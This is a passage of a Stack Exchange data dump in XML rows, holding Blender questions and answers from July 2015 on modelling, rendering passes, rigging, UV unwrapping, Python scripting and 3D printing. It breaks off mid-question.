  <row Id="33439" PostTypeId="2" ParentId="33438" CreationDate="2015-07-05T05:31:24.553" Score="1" Body="&lt;p&gt;When you have selected a vertex, press &lt;kbd&gt;G&lt;/kbd&gt; to move it.&#xA;But in your case I'm not sure you going to come far with a 1-click-mouse.&#xA;In addition it's a good idea to read the &lt;a href=&quot;http://www.blender.org/manual/&quot; rel=&quot;nofollow&quot;&gt;blender documentation&lt;/a&gt; or watch some tutorials about blender on YouTube to get an idea of what you are doing.&lt;/p&gt;&#xA;" OwnerUserId="6445" LastEditorUserId="599" LastEditDate="2015-07-06T18:05:50.883" LastActivityDate="2015-07-06T18:05:50.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33440" PostTypeId="2" ParentId="33436" CreationDate="2015-07-05T06:50:38.280" Score="0" Body="&lt;p&gt;Is this for an animation or game? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an animation you can use compositing to transition between several different versions of your model, each with different scales of detail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a game you'll probably need to fetch higher resolution blocks of game data as needed, similarly to how Google Earth fetches higher res textures as you zoom in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way it probably won't be easy, but the result could be impressive if executed well.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-07-05T06:50:38.280" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="33443" PostTypeId="2" ParentId="33432" CreationDate="2015-07-05T07:47:06.943" Score="2" Body="&lt;p&gt;In the shape keys dropdown menu there is a function named new shape from mix: set two or more shape keys to the desired value and then choose this function: at 0 you'll have the undeformed mesh, at 1 the combined effect of the different shape keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y7t2j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-05T07:47:06.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33445" PostTypeId="1" AcceptedAnswerId="33482" CreationDate="2015-07-05T08:47:58.987" Score="1" ViewCount="939" Body="&lt;p&gt;I'm having some difficulty because even though the Transparent Sky option is just what I need, I don't want it for every pass in my scene - I need the sky to be rendered too in other render layers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a BlenderArtists thread (can't find the URL at the moment) where the suggested solution was to duplicate the whole scene and have one of the scenes render with a transparent background, but that would surely kill my render time for this animation to have to build the BVH for a whole mountain landscape in two scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;https://blender.stackexchange.com/questions/5929/compositing-multiple-scenes-and-passes-with-transparency/5930#5930&quot;&gt;a BSE question&lt;/a&gt; that somewhat addresses this kind of issue, but I believe the sky is &lt;em&gt;not&lt;/em&gt; lighting the terrain. (It would be nice if I'm wrong... can't download the .blend to check) I need my terrain to be lit by the sky color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've tried include: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting a render pass with the entire material as a Holdout shader (but it just shows black without sky transparency checked). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Various combinations of render layers... but I can't get something that just serves as a mask between the landscape and sky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've considered using Material IDs or Object IDs, but concluded that it will cause problems for tree leaves on the mountain horizon, which rely on their texture alpha to look like leaves instead of square planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Based on the answer suggested, I created a makeshift mask that separates the terrain (foreground) from the sky (background). Basically I used a Color Ramp to squash all non-black values to white. This might be a solution for some cases but it's certainly not elegant, as the horizon is not anti-aliased. Also if the sky is black (like space or a very dark night sky) it doesn't work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VRXUJ.png&quot; alt=&quot;Sky mask forced with a Color Ramp - not ideal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2: &#xA;I figured out that I can make a sky mask by rendering a mist pass at extremely far away values (beyond all geometry) leaving just the sky white and all else black. This solves the anti-aliasing problem, the only drawback being that it prevents me from doing an actual mist pass in this same scene... so it's still not a total solution but good to know about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f2Txd.png&quot; alt=&quot;Sky mask created using a mist pass at extreme values&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Since posting the above screen shot I've realized the mist's Start distance doesn't need to be extremely far away - it can be any distance if the mist Depth is set to 0.00, and if given a closer Start value such as 0.0001 it may actually render faster than with a far away one (although a mist pass calculates quickly in any case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I haven't thought of?&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-07-06T09:36:18.567" Title="Sky-only pass with the foreground knocked out?" Tags="&lt;compositor&gt;&lt;transparency&gt;&lt;scene&gt;&lt;render-layers&gt;&lt;masking&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33446" PostTypeId="1" AcceptedAnswerId="33447" CreationDate="2015-07-05T08:56:54.770" Score="3" ViewCount="145" Body="&lt;p&gt;What is the difference between &lt;code&gt;selectable_objects&lt;/code&gt; and &lt;code&gt;visible_objects&lt;/code&gt; context members in python API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And which one should I use in which cases?&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="2607" LastEditDate="2015-07-05T09:19:07.500" LastActivityDate="2015-07-05T09:19:07.500" Title="Python: Difference between context’s `selectable_objects` and `visible_objects`?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33447" PostTypeId="2" ParentId="33446" CreationDate="2015-07-05T09:15:27.590" Score="4" Body="&lt;p&gt;These flags match the 'selectable' and 'visible' states of objects (also shown e.g. in the outliner, in the left columns).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;selectable_objects&lt;/code&gt; is a subset of &lt;code&gt;visible objects&lt;/code&gt;, since no hidden object shall ever be selectable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that objects on hidden layers are also considered hidden (i.e. are not in &lt;code&gt;visible objects&lt;/code&gt;, even if their own visible flag is ON).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the last part of your question… it depends on what you want to do! Please be more specific.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-07-05T09:15:27.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33448" PostTypeId="1" CreationDate="2015-07-05T09:16:36.697" Score="0" ViewCount="284" Body="&lt;p&gt;Animation is playing but no keyframe is displayed in either timeline or graph editor.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZMO6U.jpg&quot; alt=&quot;[&quot;&gt;]&lt;a href=&quot;https://i.stack.imgur.com/ZMO6U.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15422" LastEditorUserId="2217" LastEditDate="2015-08-11T16:46:55.153" LastActivityDate="2015-08-11T16:46:55.153" Title="Why can't I see keyframes in blender after importing bvh files though it plays animation?" Tags="&lt;animation&gt;&lt;interface&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33449" PostTypeId="1" AcceptedAnswerId="33552" CreationDate="2015-07-05T10:01:18.380" Score="0" ViewCount="285" Body="&lt;p&gt;I've made a rig and then copied a part of that rig, the new copied rig will follow the part of the original rig that its copied from, its just scaled up, I've managed to do this with copy rotation constraints, however unless I also have copy scale the rig will scale uncontrollably aka it will stretch and squish even though the original isn't doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with copy scale I can no longer scale the new rig freely, keep in mind that I need to animate the scale of this new rig separately from the rig that its following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to achieve this?&#xA;to sum up I need to follow the animation of the old rig (achieved with copy rotation and copy scale), but I need to separately animate scale, and i can't since having copy scale off will result in squishing and stretching uncontrollably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further detail: &#xA;with copy scale off individual bones will stretch and squish resulting in some bones to have 0 length and some to be super long unlike the original rig where bones don't change length, turning it on keeps the length equal but disables scaling of any kind, including armature scale (the entire thing) which is the thing I need to animate.&#xA;The rig is made with rigify, and the new rig is copying a part of the made rigify&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help! &lt;/p&gt;&#xA;" OwnerUserId="15423" LastEditorUserId="3401" LastEditDate="2015-12-22T18:04:28.367" LastActivityDate="2015-12-22T18:04:28.367" Title="Rig following another rig scaling constraint problems" Tags="&lt;rigging&gt;&lt;constraints&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33450" PostTypeId="1" CreationDate="2015-07-05T10:10:40.773" Score="1" ViewCount="79" Body="&lt;p&gt;How can I zoom or rotate view while I use brush select (&lt;kbd&gt;c&lt;/kbd&gt;)? Because scrolling adjusts brush size and the middle mouse button deselects, respectively&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-07-05T10:10:40.773" Title="How can I zoom/rotate view while I use brush select?" Tags="&lt;3d-view&gt;&lt;selection-tools&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33451" PostTypeId="1" CreationDate="2015-07-05T10:20:08.590" Score="4" ViewCount="2984" Body="&lt;p&gt;As you see on the screenshot I have many meshes in the DataBlock view of the Outliner, but in fact, I use only 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to delete rest of them ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DvQUM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is video describing the problem:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=RM9Rr1gnL5g&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=RM9Rr1gnL5g&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9548" LastEditorUserId="9548" LastEditDate="2015-07-05T11:32:28.227" LastActivityDate="2015-07-05T13:53:48.277" Title="How to delete unused meshes from the Outliner?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33452" PostTypeId="1" CreationDate="2015-07-05T10:23:46.280" Score="1" ViewCount="142" Body="&lt;p&gt;I've tracked a video of my arm, and created a model arm that I want to perfectly follow the tracks.&#xA;I tried applying an object solver, but as my wrist rotates the mesh doesn't follow properly. I mitigated this by using AnimAll to animate the vertices on top of the object solver, but it's proving very (very) difficult to use accurately in conjunction with the solver.&#xA;So I tried a new approach - hooking verts to empties, and applying Follow Track to these empties.&#xA;This would work great, except with my arm rotating, all of the tracks get hidden at some point, meaning the empties and therefore the verts just stop moving until they get picked up again by the tracks.&#xA;My question is, how can I either momentarily disable the Follow Track modifier on the empties, or is there a much easier way to make verts/vert groups follow tracks?&#xA;Many thanks in advance&#xA;Ian&lt;/p&gt;&#xA;" OwnerUserId="15424" LastActivityDate="2015-07-05T10:23:46.280" Title="Making vertices follow mocap tracks" Tags="&lt;vertices&gt;&lt;tracking&gt;&lt;motion-capture&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33453" PostTypeId="2" ParentId="33421" CreationDate="2015-07-05T10:24:56.450" Score="2" Body="&lt;p&gt;I think you should separate the logic for movement+rotZ and mouselooking+rotX into two different objects, and then parent the second one to the first one. With such setup, the object moved by keyboard is always facing parallel to the ground, not trying to dig into it. The example of this would be camera and cuboid. The camera is rotated only in X axis (relating to your orientation from screen) with mouse and it's parented to cuboid. The cuboid is rotated in Z axis with mouse and also is moved with keyboard. You can check the blend file below to see how it's done (Blender 2.74 or the &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;latest build&lt;/a&gt;). Note the camera from my example can be replaced with your object of choice, and cuboid can be set to invisible so it can't be seen ingame.&lt;br&gt;&lt;br&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/320/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=320&quot; /&gt;&lt;/a&gt;&lt;br&gt;&lt;br&gt; I hope this can help solve your problem. If you have additional questions, please consider providing a .blend file for more accurate feedback.&lt;/p&gt;&#xA;" OwnerUserId="14817" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-05T10:24:56.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33455" PostTypeId="1" CreationDate="2015-07-05T11:38:13.423" Score="3" ViewCount="776" Body="&lt;p&gt;How can I create a new tab (like the &lt;em&gt;World&lt;/em&gt; or &lt;em&gt;Materials&lt;/em&gt; tab) in the &lt;em&gt;Properties&lt;/em&gt; window? It would be nice if I could choose a custom icon as well. I examined the blender python files and the documentation, but I don't know how to add a new button to the &lt;code&gt;spaceProperties&lt;/code&gt; menu.&lt;/p&gt;&#xA;" OwnerUserId="8228" LastEditorUserId="2607" LastEditDate="2015-07-06T10:01:57.697" LastActivityDate="2019-02-02T11:38:24.163" Title="New Tab in Properties panel" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33457" PostTypeId="2" ParentId="33445" CreationDate="2015-07-05T12:35:06.683" Score="1" Body="&lt;p&gt;If you go to &quot;renderlayers -&gt; Passes&quot; You can activate the &quot;environment&quot; pass. This will deliver the background as an RGB value in the compositor. All abjects are now black. This gives you the freedom to combine them as you wish.&lt;/p&gt;&#xA;" OwnerUserId="8228" LastActivityDate="2015-07-05T12:35:06.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33458" PostTypeId="1" CreationDate="2015-07-05T13:50:48.907" Score="3" ViewCount="650" Body="&lt;p&gt;I'm going to be putting some sculpted objects joined together in blender that are going to be 3D printed.  In 3D printing do the faces that are not on the outer surface need to be removed? If they do it appears I have some big problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dlx0j.png&quot; alt=&quot;Screen shot of joined objects&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15425" LastEditorUserId="3710" LastEditDate="2015-07-05T15:00:10.513" LastActivityDate="2015-07-05T19:03:33.100" Title="Do joined objects have to have internal faces removed for 3D printing?" Tags="&lt;modeling&gt;&lt;geometry&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33459" PostTypeId="2" ParentId="33451" CreationDate="2015-07-05T13:53:48.277" Score="7" Body="&lt;p&gt;Change the outliner view mode to &quot;Orphan Data&quot; instead of &quot;Datablocks&quot;.&lt;br&gt;&#xA;To the right of the search field in the header is a &quot;Purge All&quot; button;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2eTpu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;and may simplify your problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This button essentially performs the save and reload process in one click, which in turn invokes Blenders garbage collection routines. &lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-07-05T13:53:48.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33461" PostTypeId="1" CreationDate="2015-07-05T15:37:43.637" Score="0" ViewCount="78" Body="&lt;p&gt;When I bake a hair particle simulation, the hair becomes strange and detached from the emitter mesh; what did I do wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AijGw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After Bake:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kbo0z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the default hair dynamic settings, but also tried to fiddle with hair weight and still get the same result. If relevant, I am using Blender 2.74&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3urPh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14420" LastEditorUserId="3078" LastEditDate="2015-07-05T15:55:45.147" LastActivityDate="2015-07-05T15:55:45.147" Title="Why does the result differ from the original, after baking hair?" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33462" PostTypeId="2" ParentId="33163" CreationDate="2015-07-05T16:13:21.300" Score="0" Body="&lt;p&gt;The sword doesn't have a material assigned to it.&#xA;Create one and create a texture that uses the image using your UV mapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ruQEC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-05T16:13:21.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33463" PostTypeId="1" CreationDate="2015-07-05T16:13:59.477" Score="0" ViewCount="73" Body="&lt;p&gt;I've looked at the other questions similar to mine but they all talk about the normals. After displaying the normals, it seems my normals are fine - yet my object still can be seen through.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ct7jb.png&quot; alt=&quot;gun&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Sl63.png&quot; alt=&quot;gun3dnormals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kNBWt.png&quot; alt=&quot;gunnormalsside&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/36891&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36891&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-09-08T13:39:04.480" Title="Blender game engine seeing through gun" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33464" PostTypeId="1" CreationDate="2015-07-05T16:58:32.640" Score="0" ViewCount="95" Body="&lt;p&gt;I am running a Windows 8 and have recently installed Laplacian Lightning and Blender Source Tools, and have failed to import Mineways twice. My new problem is that I cannot touch the scroll wheel without Blender suddenly closing on me. No error messages, no laggy crashes. Just blankness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no clue what is going on and I need Blender to start working again because I'm not happy with this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HINT: it's Laplacian Lightning. Looks like there's a problem that can't be avoided. Not because of RAM but because of a possible bug which I don't know how to fix.&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="47" LastEditDate="2015-07-08T19:05:19.813" LastActivityDate="2015-07-08T19:05:19.813" Title="Blender closes when using the scroll wheel" Tags="&lt;add-on&gt;&lt;windows&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33465" PostTypeId="1" CreationDate="2015-07-05T17:00:55.140" Score="1" ViewCount="295" Body="&lt;p&gt;When I try adding an array modifier to a curve, it says that it &quot;Cannot apply constructive modifiers on curve.&quot; I'm making a bezier curve which will be followed by the camera to make it seem as if the camera is &quot;Walking&quot;, like a 1st person 3D animation. I made the first sequence of the curve but have no way of making it longer without individually modelling every single step throughout the walk path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to sort of array the curve to avoid this?&lt;/p&gt;&#xA;" OwnerUserId="15431" LastActivityDate="2015-07-05T18:11:50.310" Title="How do you array a curve" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33466" PostTypeId="1" CreationDate="2015-07-05T17:09:01.190" Score="4" ViewCount="1589" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FHSpn.png&quot; alt=&quot;My spaceship with too many edges&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have lots of edges in my starship mesh, as shown in the red box.&lt;br&gt;&#xA;How could I reduce them and make one rounded face out of it?&lt;/p&gt;&#xA;" OwnerUserId="15432" LastEditorUserId="72" LastEditDate="2015-07-06T00:43:11.887" LastActivityDate="2016-06-28T21:57:00.563" Title="How to reduce edges and make a face out of it?" Tags="&lt;edges&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33467" PostTypeId="2" ParentId="33465" CreationDate="2015-07-05T17:33:45.467" Score="1" Body="&lt;p&gt;I couldn't find any really easy way to do this, but I found one which is far easier than modelling each individual step / bump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I modeled two full cycles of the sequence -- middle, low, middle, high, middle, low, middle, high. This sequence mimicks a bobbing motion of the camera, as if it is walking in 1st person. Then, I deleted the last 3 vertices of the curve, leaving only middle, low, middle, high, middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned on snapping to vertices, tabbed into edit mode, selected the whole curve, and duplicated it. I then used vertex locking to lock the very first vertex of the duplicated curve to the very last vertex of the original curve, essentially moving the entire curve where I wanted it. Then, I deleted the very first vertex of the duplicated curve (leaving only low, middle, high, middle), selected what is now the new 1st vertex of the duplicated curve, as well as the last vertex of the original curve, and pressed &lt;kbd&gt;F&lt;/kbd&gt; to join them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone knows of an easier way, please post.&lt;/p&gt;&#xA;" OwnerUserId="15431" LastEditorUserId="1245" LastEditDate="2015-07-05T18:11:50.310" LastActivityDate="2015-07-05T18:11:50.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33468" PostTypeId="1" AcceptedAnswerId="33483" CreationDate="2015-07-05T18:20:35.723" Score="3" ViewCount="191" Body="&lt;p&gt;I have 2 &lt;em&gt;Edges&lt;/em&gt; intersecting at 90 degree. How can I add an &lt;em&gt;Empty&lt;/em&gt; aligned to them. I suppose this can be done using &lt;code&gt;mathutils&lt;/code&gt;. I need the &lt;strong&gt;matrix&lt;/strong&gt; and not just the &lt;code&gt;Translation&lt;/code&gt; component which is not aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, this will be very useful!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z7dAE.gif&quot; alt=&quot;Empty&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8112" LastEditorUserId="3401" LastEditDate="2015-07-06T08:17:35.887" LastActivityDate="2015-07-06T10:33:33.663" Title="How can an empty be added at intersection of edges using Python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33469" PostTypeId="1" AcceptedAnswerId="48078" CreationDate="2015-07-05T18:43:37.080" Score="7" ViewCount="4346" Body="&lt;p&gt;Related to this: &lt;a href=&quot;https://blender.stackexchange.com/questions/10860/baking-textures-on-headless-machine-batch-baking&quot;&gt;Baking textures on headless machine (batch baking)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to batch the baking of textures over all frames? I have an animation and since the light is changing at each frame, would like to bake out the texture of each frame into an image sequence.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I've set my render mode to cycles&lt;/li&gt;&#xA;&lt;li&gt;I've added a Image Texture Node and have it set to image sequence&lt;/li&gt;&#xA;&lt;li&gt;My UV is unwrapped to the image sequence&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If I put this in console, I can bake one frame to the sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Cube&quot;].select = True&#xA;bpy.context.scene.frame_current = 1&#xA;bpy.ops.object.bake(type='COMBINED')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similarly, I can bake another frame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Cube&quot;].select = True&#xA;bpy.context.scene.frame_current = 2&#xA;bpy.ops.object.bake(type='COMBINED')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I try to put this in a for loop to bake multiple frames like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range(1,30):&#xA;     bpy.context.scene.frame_current = i&#xA;     bpy.data.objects[&quot;Cube&quot;].select = True&#xA;     bpy.ops.object.bake(type='COMBINED')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will only bake the texture of the first frame in the loop. It appears like it is looping through all the frames and it is baking them, but the images in those frames do not get updated once the script is finished. Any ideas on what is happening?&lt;/p&gt;&#xA;" OwnerUserId="3059" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2021-02-06T16:33:21.063" Title="Baking Textures as Image Sequence by Script in Cycles" Tags="&lt;animation&gt;&lt;scripting&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33470" PostTypeId="1" AcceptedAnswerId="33475" CreationDate="2015-07-05T18:58:58.233" Score="3" ViewCount="1200" Body="&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/lij9pYx.png?1&quot; alt=&quot;a_big_bloody_mess&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello, folks. I'm relatively new to blender and modelling in general. Everything has been going pretty good until my attempts at UV mapping has given me the result you can see above. I can clearly recognize the two faces of the object and even the edge, although it looks rather absurd. I don't know why it shows up like that, it's as if every single edge is shown three or more times on the UV. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is with the infinite hexagons and rectangles behind them. Attempts to pull the items in the UV window apart resulted in nothing. According to Blender, the infinite rectangles and hexagons are actually what build up the object and not the clearly defined faces and edges. It makes no sense to me as there are no rectangles and hexagons on the actual model. I made two large seams around the edges of the faces of the object and connected them four times - twice at the bottom and twice at the top. I have marked on the image where the two large seams are connected by small seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I make this work without the unwrapped UV turning out in such a mess? According to Blender there are no loose vertices nor unconnected faces and edges, no doubles, etc. &lt;/p&gt;&#xA;" OwnerUserId="15433" LastActivityDate="2015-07-05T19:52:48.390" Title="Attempting to unwrap model for UV, results horrible" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33471" PostTypeId="2" ParentId="33458" CreationDate="2015-07-05T19:03:33.100" Score="3" Body="&lt;p&gt;In general, yes. You are not allowed to have non-manifold geometry. If you are not already, I recommend using the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/PrintToolbox&quot; rel=&quot;nofollow&quot;&gt;3D Print Toolbox addon&lt;/a&gt;, which gives you tools to check if your model is compatible to print.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proper way to combine those spheres would be with the Boolean modifier or booltool. This can create messy topology, but that doesn't matter much for 3D printing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that some slicing programs will automatically handle this problem, but I don't know. (A Slicer is the program that actually prepares and sends the job to your printer, such as MakerBots software, Slic3r, or Cura)&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-07-05T19:03:33.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33472" PostTypeId="1" CreationDate="2015-07-05T19:17:56.527" Score="6" ViewCount="2208" Body="&lt;p&gt;Basically I am asking what was already asked a year ago in this thread:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/2838/create-a-rounded-wireframe&quot;&gt;Create a rounded wireframe?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is basically unresolved an I thought that since a year ago someone might have an answer, or simply an idea about how should I go about doing this in my own case. The wireframe + subsurf technique, even with with a crease of 1.0, will create uneven thickness with pointy corners at the vertices, however much I play with the options, and also subsurf adds unnecessary edge loops, subdividing edges between vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I feel would solve the problem is a RESOLUTION option in the wireframe modifier in order to turn those 4-sided wire frames into cylinders. Just like the option you have with curves. I know you can convert the mesh to curve but that automatically results in disconnected topology. And the skin modifier is way too heavy and results in twisted topology as well as rounded intersections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A4BIg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In more practical terms, here is what I want to achieve. I have this mesh you can see in the picture above, which is actually a floor. Everywhere you see edges, I would like to turn them into cylinders in order to make a nice pattern onto what is an otherwise quite boring floor. I could of course use a texture but I would like the pattern to be 3 dimensional, and a 4-sided wireframe just doesn't make it. It needs to be round. What would 